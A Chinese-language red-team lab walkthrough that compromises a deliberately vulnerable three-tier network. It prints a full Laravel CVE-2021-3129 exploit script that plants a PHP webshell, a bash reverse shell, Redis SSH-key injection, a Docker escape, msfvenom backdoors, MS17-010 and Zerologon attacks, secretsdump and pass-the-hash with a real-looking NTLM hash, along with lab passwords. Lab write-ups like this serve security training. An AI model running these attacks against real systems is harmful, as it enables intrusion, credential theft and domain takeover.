ATT&CK实战系列-红队评估(七)

DMZ区的 Ubuntu 需要启动redis和nginx服务:

sudo redis-server /etc/redis.conf

sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf

sudo iptables -F

第二层网络的 Ubuntu需要启动docker容器:

sudo service docker start

sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达OA:

C:\MYOA\bin\AutoConfig.exe

为了方便环境配置,这里给出环境密码

域用户账户和密码如下:

  • Administrator:Whoami2021
  • whoami:Whoami2021
  • bunny:Bunny2021
  • moretz:Moretz2021

Ubuntu 1:

  • web:web2021

Ubuntu 2:

  • ubuntu:ubuntu

信息收集

首先我们使用nmap进行端口扫描

nmap -T4 -sC -sV -p1-65535 --script=vuln 192.168.252.215

其中80端口是一个博客,接着我们查看81端口

接着我们使用vulmap对该页面进行扫描

python3 vulmap.py -u http://192.168.252.215:81

在扫描结果中我们得知存在CVE-2021-3129漏洞,在2021年01月12日,Laravel被披露存在一个远程代码执行漏洞(CVE-2021-3129)。当Laravel开启了Debug模式时,由于Laravel自带的Ignition 组件对file_get_contents()和file_put_contents()函数的不安全使用,攻击者可以通过发起恶意请求,构造恶意Log文件等方式触发Phar反序列化,最终造成远程代码执行。

漏洞利用

Laravel Debug mode RCE漏洞利用

漏洞解析

这里我们在网上找到一个命令执行脚本,我们修改一下,让其可以直接生成一个webshell,名字为shell.php,密码为whoami

# -*- coding=utf-8 -*-
# Author : Crispr
# Alter: zhzyker
import os
import requests
import sys
from urllib3.exceptions import InsecureRequestWarning

# Suppress only the single warning from urllib3 needed.
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)

class EXP:
    cmd = "whoami"
    #这里还可以增加phpggc的使用链,经过测试发现RCE5可以使用
    __gadget_chains = {
        "Laravel/RCE1":r"""
         php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        """,
        #"Laravel/RCE2":r"""
        # php -d "phar.readonly=0" ./phpggc Laravel/RCE2 system """+cmd+""" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        #""",
        #"Laravel/RCE3":r"""
        # php -d "phar.readonly=0" ./phpggc Laravel/RCE3 system """+cmd+""" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        #""",
        #"Laravel/RCE4":r"""
        # php -d "phar.readonly=0" ./phpggc Laravel/RCE4 system """+cmd+""" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        #""",
        #"Laravel/RCE5":r"""
        # php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('"""+cmd+"""');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        #""",
        #"Laravel/RCE6":r"""
        # php -d "phar.readonly=0" ./phpggc Laravel/RCE6 "system('"""+cmd+"""');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        #""",
        #"Laravel/RCE7":r"""
        # php -d "phar.readonly=0" ./phpggc Laravel/RCE7 system """+cmd+""" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        #""",
        #"Monolog/RCE1":r"""
        # php -d "phar.readonly=0" ./phpggc Monolog/RCE1 system """+cmd+""" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        #""",
        #"Monolog/RCE2":r"""
        # php -d "phar.readonly=0" ./phpggc Monolog/RCE2 system """+cmd+""" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        #""",
        #"Monolog/RCE3":r"""
        # php -d "phar.readonly=0" ./phpggc Monolog/RCE3 system """+cmd+""" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        #""",
        #"Monolog/RCE4":r"""
        # php -d "phar.readonly=0" ./phpggc Monolog/RCE4 """+cmd+""" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex (ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"
        #""",
    }

    def __vul_check(self):
        res = requests.get(self.__url,verify=False)
        if res.status_code != 405 and "laravel" not in res.text:
            print("[+]Vulnerability does not exist")
            return False
        return True

    def __payload_send(self,payload):
        header = {
            "Accept": "application/json"
        }
        data = {
            "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
            "parameters": {
                "variableName": "cve20213129",
                "viewFile": ""
            }
        }
        data["parameters"]["viewFile"] = payload
        
        #print(data)
        res = requests.post(self.__url, headers=header, json=data, verify=False)
        return res

    def __clear_log(self):
        payload = "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
        return self.__payload_send(payload=payload)

    def __generate_payload(self,gadget_chain):
        generate_exp = self.__gadget_chains[gadget_chain]
        #print(generate_exp)
        exp = "".join(os.popen(generate_exp).readlines()).replace("\n","")+ 'a'
        print("[+]exploit:")
        #print(exp)
        return exp

    def __decode_log(self):
        return self.__payload_send(
            "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log")

    def __unserialize_log(self):
        return self.__payload_send("phar://../storage/logs/laravel.log/test.txt")

    def __rce(self):
        text = str(self.__unserialize_log().text)
        #print(text)
        text = text[text.index(']'):].replace("}","").replace("]","")
        return text

    def exp(self):
        for gadget_chain in self.__gadget_chains.keys():
            print("[*] Try to use %s for exploitation." % (gadget_chain))
            self.__clear_log()
            self.__clear_log()
            self.__payload_send('A' * 2)
            self.__payload_send(self.__generate_payload((gadget_chain)))
            self.__decode_log()
            print("[*] " + gadget_chain + " Result:")
            print(self.__rce())

    def __init__(self, target):
        self.target = target
        self.__url = requests.compat.urljoin(target, "_ignition/execute-solution")
        if not self.__vul_check():
            print("[-] [%s] is seems not vulnerable." % (self.target))
            print("[*] You can also call obj.exp() to force an attack.")
        else:
            self.exp()

def main():
    EXP(sys.argv[1])

if __name__ == "__main__":
    main()

我们执行这个脚本

python3 exp1.py http://192.168.252.215:81

接着我们连接一句话木马

输入一下命令,我们可以判断出我们现在处于docker环境下

ls -alh /.dockerenv
cat /proc/1/cgroup

这样接下来我们就进行docker逃逸,我们首先尝试是否可以列出磁盘目录,这里是失败,说明不是以特权账户启动的docker

fdisk -l

现在我们的权限比较低,做不了什么事情,所以接下来我们尝试提权,这里我们首先尝试环境变量提权,我们使用find命令来搜索具有SUID或4000权限的的文件

find / -perm -u=s -type f 2>/dev/null

这里我们可以看到存在一个/home/jobs/shell的文件存在SUID权限,我们进入到/home/jobs目录下查看

我们尝试运行一下这个文件,发现其应该执行了ps命令,

在这提权之前我们需要尝试将shell反弹到kali上,不过我们经过测试无法反弹成功。

其他方式也都失败,判断可能是不出网的原因,

Redis未授权

这里无法反弹shell,拿我们就尝试其他方式,经过之前的信息收集我们知道目标机器开放6379,我们尝试Redis弱口令或未授权进行访问。

经过测试我们发现存在未授权访问

尝试写入SSH公钥

#生成公钥
ssh-keygen -t rsa 
#将公钥导入foo.txt文件
(echo -e "\n\n"; cat /root/.ssh/id_rsa.pub; echo -e "\n\n") > foo.txt 
#把foo.txt文件内容写入目标主机的redis缓冲中
cat foo.txt | redis-cli -h 192.168.213.170 -p 6379 -x set hello 

# 设置redis的备份路径为/root/.ssh/
config set dir /root/.ssh
# 设置保存文件名为authorized_keys
config set dbfilename authorized_keys
# 将数据保存在目标服务器硬盘上
save
# 连接
ssh 192.168.252.215

到这里我们就继续进行信息收集,经过查看,我们看到存在另一个网段

接着我们查看主机信息发现其存在nginx代理服务,发现我们之前访问的80端口,nginx服务将其转发给了https://whoamianony.top/,而81端口的请求转发给了第二层网络web服务器192.168.52.20,也就是说真正的web服务在20机器上,我们之前getshell的机器也就是这台

那么我么接下来将larvel的shell反弹给web1(192.168.52.10),然后获取一个交互式shell,这里的shell是(192.168.52.20)机器上的docker容器的shell

system('bash -c "bash -i >& /dev/tcp/192.168.52.10/9999 0>&1"');

环境变量提权

这里我们反弹shell成功,所以我们就继续执行提权操作,在/home/jobs目录下有一个shell文件,执行该文件发现该文件执行了ps命令并且未使用绝对路径。接下来我们来更改$PATH来执行我们的恶意程序,从而获得目标主机的最高权限。

cd /tmp
echo "bin/bash" > ps
chmod 777 ps
echo $PATH
export PATH=/tmp:$PATH
cd /home/jobs
./shell

利用Docker runC漏洞逃逸

该漏洞(CVE-2019-5736)是2019年爆出的。在Docker 18.09.2之前的版本中使用的runc版本小于1.0-rc6,其允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

利用该漏洞需要满足以下两个条件之一:

  • 由一个攻击者控制的恶意镜像创建
  • 攻击者具有某已存在容器的写权限,且可通过docker exec进入。

首先下载攻击脚本:https://github.com/Frichetten/CVE-2019-5736-PoC

我们打开main.go脚本,接着在shellCmd后面添加反弹shell的命令,IP为攻击机IP,端口为攻击机监听的端口

接着执行命令编译生成payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

将生成的main程序上传并赋予权限,并执行但是这里失败,参考文章

Docker特权模式逃逸

现在我们已经是root权限了,接下来我们进行docker逃逸。容器内root用户仅拥有外部物理机普通用户权限。当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

#查看磁盘文件
fdisk -l
mkdir tmpsd
#将/dev/sda1挂载到创建的文件夹
mount /dev/sda1 tmpsd
ls tmpsd

在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。我们发现/tmp/tmpsd/home目录下有ubuntu用户

接着我们将自己生成的ssh密钥写入到tmp/tmpsd/home/ubuntu/.ssh中的authorized_keys文件中,写入成功之后就可以使用该密钥进行登录该机器

ssh-keygen -f hello
#赋予权限
chmod 600 hello

#-avx是将权限也一起复制
cp -avx /tmp/tmpsd/home/ubuntu/.ssh/id_rsa.pub /tmp/tmpsd/home/ubuntu/.ssh/authorized_keys 

#清空authorized_keys文件
echo > /tmp/tmpsd/home/ubuntu/.ssh/authorized_keys 

#将ssh秘钥写入authorized_keys文件
echo '生成的.pub文件的内容' > /tmp/tmpsd/home/ubuntu/.ssh/authorized_keys 

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgaH8u9yLRhfdgGoMPVucZoqEMUEAm3QzS5zxdnQ7Bu1NJOoouiuqWxOEOoFGoV+vowJXdAPWIHJrg7EBRk0xe+XgbKMFPLFAGzBBDWVRtkWCJUpuB5Wicayj5t/WPQBYQTy6hgp6aDdzMTSSj5yxy8LwkOY8SF9SweURpzrEYVIB6pTUnct8Dj+cM9CyDFkHHu1V/fo9+xJTO0ral7ciqstJqKiplw8btMamRxZKU0OCfayFjZIETmL/Qj4YeyLiW0jQ+LVV0HG19wnim0NFR4KkzZ762F3BYC/eBWp6Mw0ql4rgBSWFXp+0PHUNosnSIFPwEy9WK7D43cMcFo389' > /tmp/tmpsd/home/ubuntu/.ssh/authorized_keys


#查看是否写入成功
cat /tmp/tmpsd/home/ubuntu/.ssh/authorized_keys 

ssh -i hello ubuntu@192.168.52.20

接着我们查看目标机器的网络配置信息,发现两个网段

内网渗透

首先我们将收到的192.168.252.215的shell反弹到msf上,首先我们生成一个elf后门上传到目标机器上授予权限并执行,同时在msf进行监听

接着我们可以在msf上收到shell

接着我们查看目标机器的网段信息

run get_local_subnets

接着添加内网网段路由

run autoroute -s 192.168.52.0/24

使用CVE-2021-3493提权

漏洞影响版本

Ubuntu 20.10
Ubuntu 20.04 LTS
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 ESM

我们得知是ubuntu,在2021年出现了一个内核提权漏洞,我们再此进行尝试

首先下载利用程序https://github.com/briskets/CVE-2021-3493

接着在目标机器上vi打开一个exp.c文件,接着粘贴我们下载文件里的内容,然后编译并执行,最后我们得到了root权限

vi exp.c
gcc exp.c -o exp
./exp

接着我们生成一个msf后门

msfvenom -p linux/x64/meterpreter/bind_tcp lport 4444 -f elf > bindtcp.elf

将生成的后门上传到192.168.52.20的docker环境里(就是我们最开始通过webshell拿到的机器),然后提权挂载硬盘,接着复制进磁盘的/tmp路径里

然后我们登录52.20的ssh,执行我们通过docker移动过来的后门,msf同时进行监听

chmod 777 bindtcp.elf
./bindtcp.elf

存活主机扫描

我们通过ifconfig查看出目标机器存在两个网段

我们在52网段进行扫描的时候发现了52网段还存在30主机以及开放了8080端口,我们Proxifier开启代理,成功访问http://192.168.52.30:8080

经过判断该通达OA的版本是11.3,存在任意用户登录、文件包含和文件上传等漏洞

具体参考,接下来我们进行漏洞测试

这里我们显示通达OA过期,只能暂时放弃测试

接着我们就进行93网段的存活主机扫描,最后显示存在两台主机,我们判断域且30机器很可能是域控

扫描结束后我们已经得知目标机器的操作系统位WIndows,所以我们可以尝试进行ms17-010漏洞扫描,经过扫描我们发现,两台机器均存在该漏洞

尝试使用msf进行漏洞攻击,这里我们尝试后去会话失败

但是我们可以成功执行命令

我们尝试40主机是否可以获取权限,同样获取失败,我们切换为方程式漏洞利用工具进行测试,首先我们生成一个dll

msfvenom -p windows/x64/meterpreter/bind_tcp LPORT=443 -f dll > x64.dll

接着msf开启代理

use auxiliary/server/socks4a
set srvhost 192.168.252.133
run

我们设置代理,这里我们可以看到测试成功

接着我们使用方程式工具来执行的我们dll,执行成功

这里我们可以看到msf中已经收到shell

不过没有一会儿,shell就断了,多次尝试重连没有成功,尝试其他方法

CVE-2020-1472

攻击者通过NetLogon(MS-NRPC),建立与域控间易受攻击的安全通道时,可利用此漏洞获取域管访问权限。成功利用此漏洞的攻击者可以在该网络中的设备上运行经特殊设计的应用程序。详情访问

#首先我们进行检测
proxychains python3 zerologon_tester.py DC 192.168.93.30

显示success,漏洞存在

漏洞利用

接下来我们将密码设置为空

proxychains python3 cve-2020-1472-exploit.py DC 192.168.93.30

接着我们将域控的密码dump下来,这个脚本在impacket中

proxychains python3 secretsdump.py WHOAMIANONY.ORG/DC\$@192.168.93.30 -just-dc -no-pass

得到hash,我们在msf中使用psexec模块进行进行上线

use exploit/windows/smb/psexec
set SMBUser administrator
set SMBPass aad3b435b51404eeaad3b435b51404ee:ab89b1295e69d353dd7614c7a3a80cec
set payload windows/meterpreter/bind_tcp
set rhost 192.168.93.30
run/exploit

这里没有返回会话,可能是因为防火墙的原因

这里我么发现可以使用msf的ms17命令执行模块

我们在这里执行命令进行防火墙的关闭

我们再次执行psexec,成功收到会话

恢复域控hash

一定要恢复域控的hash,不然会导致脱域

接下来我们执行如下命令,获取目标机器原始hash

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save

将生成的文件下载到kali中

接着将我们将生成的文件删除

查看域控hash

使用脚本恢复hash

验证是否恢复

python3 secretsdump.py god.org/用户名:密码@192.168.52.138 -just-dc-user owa\$

proxychains python3 secretsdump.py WHOAMIANONY.ORG/DC\$@192.168.93.30 -just-dc -no-pass

.....

最后修改:2022 年 02 月 16 日
如果觉得我的文章对你有用,请随意赞赏